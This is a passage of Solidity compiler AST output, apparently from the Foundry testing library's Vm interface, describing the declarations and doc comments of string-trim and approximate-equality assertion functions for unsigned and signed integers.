value."},"functionSelector":"b2dad155","implemented":false,"kind":"function","modifiers":[],"name":"trim","nameLocation":"37079:4:13","parameters":{"id":13461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13460,"mutability":"mutable","name":"input","nameLocation":"37100:5:13","nodeType":"VariableDeclaration","scope":13465,"src":"37084:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13459,"name":"string","nodeType":"ElementaryTypeName","src":"37084:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37083:23:13"},"returnParameters":{"id":13464,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13463,"mutability":"mutable","name":"output","nameLocation":"37144:6:13","nodeType":"VariableDeclaration","scope":13465,"src":"37130:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13462,"name":"string","nodeType":"ElementaryTypeName","src":"37130:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37129:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13477,"nodeType":"FunctionDefinition","src":"37347:113:13","nodes":[],"documentation":{"id":13466,"nodeType":"StructuredDocumentation","src":"37192:150:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message."},"functionSelector":"045c55ce","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"37356:24:13","parameters":{"id":13475,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13468,"mutability":"mutable","name":"left","nameLocation":"37389:4:13","nodeType":"VariableDeclaration","scope":13477,"src":"37381:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13467,"name":"uint256","nodeType":"ElementaryTypeName","src":"37381:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13470,"mutability":"mutable","name":"right","nameLocation":"37403:5:13","nodeType":"VariableDeclaration","scope":13477,"src":"37395:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13469,"name":"uint256","nodeType":"ElementaryTypeName","src":"37395:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13472,"mutability":"mutable","name":"maxDelta","nameLocation":"37418:8:13","nodeType":"VariableDeclaration","scope":13477,"src":"37410:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13471,"name":"uint256","nodeType":"ElementaryTypeName","src":"37410:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13474,"mutability":"mutable","name":"decimals","nameLocation":"37436:8:13","nodeType":"VariableDeclaration","scope":13477,"src":"37428:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13473,"name":"uint256","nodeType":"ElementaryTypeName","src":"37428:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"37380:65:13"},"returnParameters":{"id":13476,"nodeType":"ParameterList","parameters":[],"src":"37459:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13491,"nodeType":"FunctionDefinition","src":"37675:182:13","nodes":[],"documentation":{"id":13478,"nodeType":"StructuredDocumentation","src":"37466:204:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"60429eb2","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"37684:24:13","parameters":{"id":13489,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13480,"mutability":"mutable","name":"left","nameLocation":"37726:4:13","nodeType":"VariableDeclaration","scope":13491,"src":"37718:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13479,"name":"uint256","nodeType":"ElementaryTypeName","src":"37718:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13482,"mutability":"mutable","name":"right","nameLocation":"37748:5:13","nodeType":"VariableDeclaration","scope":13491,"src":"37740:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13481,"name":"uint256","nodeType":"ElementaryTypeName","src":"37740:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13484,"mutability":"mutable","name":"maxDelta","nameLocation":"37771:8:13","nodeType":"VariableDeclaration","scope":13491,"src":"37763:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13483,"name":"uint256","nodeType":"ElementaryTypeName","src":"37763:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13486,"mutability":"mutable","name":"decimals","nameLocation":"37797:8:13","nodeType":"VariableDeclaration","scope":13491,"src":"37789:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13485,"name":"uint256","nodeType":"ElementaryTypeName","src":"37789:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13488,"mutability":"mutable","name":"error","nameLocation":"37831:5:13","nodeType":"VariableDeclaration","scope":13491,"src":"37815:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13487,"name":"string","nodeType":"ElementaryTypeName","src":"37815:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37708:134:13"},"returnParameters":{"id":13490,"nodeType":"ParameterList","parameters":[],"src":"37856:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13503,"nodeType":"FunctionDefinition","src":"38017:111:13","nodes":[],"documentation":{"id":13492,"nodeType":"StructuredDocumentation","src":"37863:149:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message."},"functionSelector":"3d5bc8bc","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"38026:24:13","parameters":{"id":13501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13494,"mutability":"mutable","name":"left","nameLocation":"38058:4:13","nodeType":"VariableDeclaration","scope":13503,"src":"38051:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13493,"name":"int256","nodeType":"ElementaryTypeName","src":"38051:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13496,"mutability":"mutable","name":"right","nameLocation":"38071:5:13","nodeType":"VariableDeclaration","scope":13503,"src":"38064:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13495,"name":"int256","nodeType":"ElementaryTypeName","src":"38064:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13498,"mutability":"mutable","name":"maxDelta","nameLocation":"38086:8:13","nodeType":"VariableDeclaration","scope":13503,"src":"38078:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13497,"name":"uint256","nodeType":"ElementaryTypeName","src":"38078:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13500,"mutability":"mutable","name":"decimals","nameLocation":"38104:8:13","nodeType":"VariableDeclaration","scope":13503,"src":"38096:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13499,"name":"uint256","nodeType":"ElementaryTypeName","src":"38096:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"38050:63:13"},"returnParameters":{"id":13502,"nodeType":"ParameterList","parameters":[],"src":"38127:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13517,"nodeType":"FunctionDefinition","src":"38342:180:13","nodes":[],"documentation":{"id":13504,"nodeType":"StructuredDocumentation","src":"38134:203:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"6a5066d4","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"38351:24:13","parameters":{"id":13515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13506,"mutability":"mutable","name":"left","nameLocation":"38392:4:13","nodeType":"VariableDeclaration","scope":13517,"src":"38385:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13505,"name":"int256","nodeType":"ElementaryTypeName","src":"38385:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13508,"mutability":"mutable","name":"right","nameLocation":"38413:5:13","nodeType":"VariableDeclaration","scope":13517,"src":"38406:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13507,"name":"int256","nodeType":"ElementaryTypeName","src":"38406:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13510,"mutability":"mutable","name":"maxDelta","nameLocation":"38436:8:13","nodeType":"VariableDeclaration","scope":13517,"src":"38428:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13509,"name":"uint256","nodeType":"ElementaryTypeName","src":"38428:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13512,"mutability":"mutable","name":"decimals","nameLocation":"38462:8:13","nodeType":"VariableDeclaration","scope":13517,"src":"38454:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13511,"name":"uint256","nodeType":"ElementaryTypeName","src":"38454:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13514,"mutability":"mutable","name":"error","nameLocation":"38496:5:13","nodeType":"VariableDeclaration","scope":13517,"src":"38480:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13513,"name":"string","nodeType":"ElementaryTypeName","src":"38480:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"38375:132:13"},"returnParameters":{"id":13516,"nodeType":"ParameterList","parameters":[],"src":"38521:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13527,"nodeType":"FunctionDefinition","src":"38626:88:13","nodes":[],"documentation":{"id":13518,"nodeType":"StructuredDocumentation","src":"38528:93:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`."},"functionSelector":"16d207c6","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"38635:17:13","parameters":{"id":13525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13520,"mutability":"mutable","name":"left","nameLocation":"38661:4:13","nodeType":"VariableDeclaration","scope":13527,"src":"38653:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13519,"name":"uint256","nodeType":"ElementaryTypeName","src":"38653:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13522,"mutability":"mutable","name":"right","nameLocation":"38675:5:13","nodeType":"VariableDeclaration","scope":13527,"src":"38667:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13521,"name":"uint256","nodeType":"ElementaryTypeName","src":"38667:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13524,"mutability":"mutable","name":"maxDelta","nameLocation":"38690:8:13","nodeType":"VariableDeclaration","scope":13527,"src":"38682:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13523,"name":"uint256","nodeType":"ElementaryTypeName","src":"38682:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"38652:47:13"},"returnParameters":{"id":13526,"nodeType":"ParameterList","parameters":[],"src":"38713:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13539,"nodeType":"FunctionDefinition","src":"38880:111:13","nodes":[],"documentation":{"id":13528,"nodeType":"StructuredDocumentation","src":"38720:155:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\n Includes error message into revert string on failure."},"functionSelector":"f710b062","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"38889:17:13","parameters":{"id":13537,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13530,"mutability":"mutable","name":"left","nameLocation":"38915:4:13","nodeType":"VariableDeclaration","scope":13539,"src":"38907:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13529,"name":"uint256","nodeType":"ElementaryTypeName","src":"38907:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13532,"mutability":"mutable","name":"right","nameLocation":"38929:5:13","nodeType":"VariableDeclaration","scope":13539,"src":"38921:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13531,"name":"uint256","nodeType":"ElementaryTypeName","src":"38921:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13534,"mutability":"mutable","name":"maxDelta","nameLocation":"38944:8:13","nodeType":"VariableDeclaration","scope":13539,"src":"38936:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13533,"name":"uint256","nodeType":"ElementaryTypeName","src":"38936:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13536,"mutability":"mutable","name":"error","nameLocation":"38970:5:13","nodeType":"VariableDeclaration","scope":13539,"src":"38954:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13535,"name":"string","nodeType":"ElementaryTypeName","src":"38954:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"38906:70:13"},"returnParameters":{"id":13538,"nodeType":"ParameterList","parameters":[],"src":"38990:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13549,"nodeType":"FunctionDefinition","src":"39094:86:13","nodes":[],"documentation":{"id":13540,"nodeType":"StructuredDocumentation","src":"38997:92:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`."},"functionSelector":"240f839d","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"39103:17:13","parameters":{"id":13547,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13542,"mutability":"mutable","name":"left","nameLocation":"39128:4:13","nodeType":"VariableDeclaration","scope":13549,"src":"39121:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13541,"name":"int256","nodeType":"ElementaryTypeName","src":"39121:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13544,"mutability":"mutable","name":"right","nameLocation":"39141:5:13","nodeType":"VariableDeclaration","scope":13549,"src":"39134:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13543,"name":"int256","nodeType":"ElementaryTypeName","src":"39134:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13546,"mutability":"mutable","name":"maxDelta","nameLocation":"39156:8:13","nodeType":"VariableDeclaration","scope":13549,"src":"39148:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13545,"name":"uint256","nodeType":"ElementaryTypeName","src":"39148:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39120:45:13"},"returnParameters":{"id":13548,"nodeType":"ParameterList","parameters":[],"src":"39179:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13561,"nodeType":"FunctionDefinition","src":"39345:109:13","nodes":[],"documentation":{"id":13550,"nodeType":"StructuredDocumentation","src":"39186:154:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\n Includes error message into revert string on failure."},"functionSelector":"8289e621","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"39354:17:13","parameters":{"id":13559,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13552,"mutability":"mutable","name":"left","nameLocation":"39379:4:13","nodeType":"VariableDeclaration","scope":13561,"src":"39372:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13551,"name":"int256","nodeType":"ElementaryTypeName","src":"39372:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13554,"mutability":"mutable","name":"right","nameLocation":"39392:5:13","nodeType":"VariableDeclaration","scope":13561,"src":"39385:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13553,"name":"int256","nodeType":"ElementaryTypeName","src":"39385:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13556,"mutability":"mutable","name":"maxDelta","nameLocation":"39407:8:13","nodeType":"VariableDeclaration","scope":13561,"src":"39399:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13555,"name":"uint256","nodeType":"ElementaryTypeName","src":"39399:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13558,"mutability":"mutable","name":"error","nameLocation":"39433:5:13","nodeType":"VariableDeclaration","scope":13561,"src":"39417:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13557,"name":"string","nodeType":"ElementaryTypeName","src":"39417:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"39371:68:13"},"returnParameters":{"id":13560,"nodeType":"ParameterList","parameters":[],"src":"39453:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13573,"nodeType":"FunctionDefinition","src":"39725:136:13","nodes":[],"documentation":{"id":13562,"nodeType":"StructuredDocumentation","src":"39460:260:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message."},"functionSelector":"21ed2977","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"39734:24:13","parameters":{"id":13571,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13564,"mutability":"mutable","name":"left","nameLocation":"39767:4:13","nodeType":"VariableDeclaration","scope":13573,"src":"39759:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13563,"name":"uint256","nodeType":"ElementaryTypeName","src":"39759:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13566,"mutability":"mutable","name":"right","nameLocation":"39781:5:13","nodeType":"VariableDeclaration","scope":13573,"src":"39773:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13565,"name":"uint256","nodeType":"ElementaryTypeName","src":"39773:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13568,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"39796:15:13","nodeType":"VariableDeclaration","scope":13573,"src":"39788:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13567,"name":"uint256","nodeType":"ElementaryTypeName","src":"39788:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13570,"mutability":"mutable","name":"decimals","nameLocation":"39821:8:13","nodeType":"VariableDeclaration","scope":13573,"src":"39813:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13569,"name":"uint256","nodeType":"ElementaryTypeName","src":"39813:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39758:72:13"},"returnParameters":{"id":13572,"nodeType":"ParameterList","parameters":[],"src":"39860:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13587,"nodeType":"FunctionDefinition","src":"40186:189:13","nodes":[],"documentation":{"id":13574,"nodeType":"StructuredDocumentation","src":"39867:314:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"82d6c8fd","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"40195:24:13","parameters":{"id":13585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13576,"mutability":"mutable","name":"left","nameLocation":"40237:4:13","nodeType":"VariableDeclaration","scope":13587,"src":"40229:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13575,"name":"uint256","nodeType":"ElementaryTypeName","src":"40229:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13578,"mutability":"mutable","name":"right","nameLocation":"40259:5:13","nodeType":"VariableDeclaration","scope":13587,"src":"40251:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13577,"name":"uint256","nodeType":"ElementaryTypeName","src":"40251:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13580,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"40282:15:13","nodeType":"VariableDeclaration","scope":13587,"src":"40274:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13579,"name":"uint256","nodeType":"ElementaryTypeName","src":"40274:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13582,"mutability":"mutable","name":"decimals","nameLocation":"40315:8:13","nodeType":"VariableDeclaration","scope":13587,"src":"40307:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13581,"name":"uint256","nodeType":"ElementaryTypeName","src":"40307:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13584,"mutability":"mutable","name":"error","nameLocation":"40349:5:13","nodeType":"VariableDeclaration","scope":13587,"src":"40333:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13583,"name":"string","nodeType":"ElementaryTypeName","src":"40333:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"40219:141:13"},"returnParameters":{"id":13586,"nodeType":"ParameterList","parameters":[],"src":"40374:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13599,"nodeType":"FunctionDefinition","src":"40645:134:13","nodes":[],"documentation":{"id":13588,"nodeType":"StructuredDocumentation","src":"40381:259:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message."},"functionSelector":"abbf21cc","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"40654:24:13","parameters":{"id":13597,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13590,"mutability":"mutable","name":"left","nameLocation":"40686:4:13","nodeType":"VariableDeclaration","scope":13599,"src":"40679:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13589,"name":"int256","nodeType":"ElementaryTypeName","src":"40679:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13592,"mutability":"mutable","name":"right","nameLocation":"40699:5:13","nodeType":"VariableDeclaration","scope":13599,"src":"40692:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13591,"name":"int256","nodeType":"ElementaryTypeName","src":"40692:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13594,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"40714:15:13","nodeType":"VariableDeclaration","scope":13599,"src":"40706:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13593,"name":"uint256","nodeType":"ElementaryTypeName","src":"40706:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13596,"mutability":"mutable","name":"decimals","nameLocation":"40739:8:13","nodeType":"VariableDeclaration","scope":13599,"src":"40731:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13595,"name":"uint256","nodeType":"ElementaryTypeName","src":"40731:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"40678:70:13"},"returnParameters":{"id":13598,"nodeType":"ParameterList","parameters":[],"src":"40778:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13613,"nodeType":"FunctionDefinition","src":"41103:187:13","nodes":[],"documentation":{"id":13600,"nodeType":"StructuredDocumentation","src":"40785:313:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"fccc11c4","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"41112:24:13","parameters":{"id":13611,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13602,"mutability":"mutable","name":"left","nameLocation":"41153:4:13","nodeType":"VariableDeclaration","scope":13613,"src":"41146:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13601,"name":"int256","nodeType":"ElementaryTypeName","src":"41146:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13604,"mutability":"mutable","name":"right","nameLocation":"41174:5:13","nodeType":"VariableDeclaration","scope":13613,"src":"41167:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13603,"name":"int256","nodeType":"ElementaryTypeName","src":"41167:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13606,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"41197:15:13","nodeType":"VariableDeclaration","scope":13613,"src":"41189:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13605,"name":"uint256","nodeType"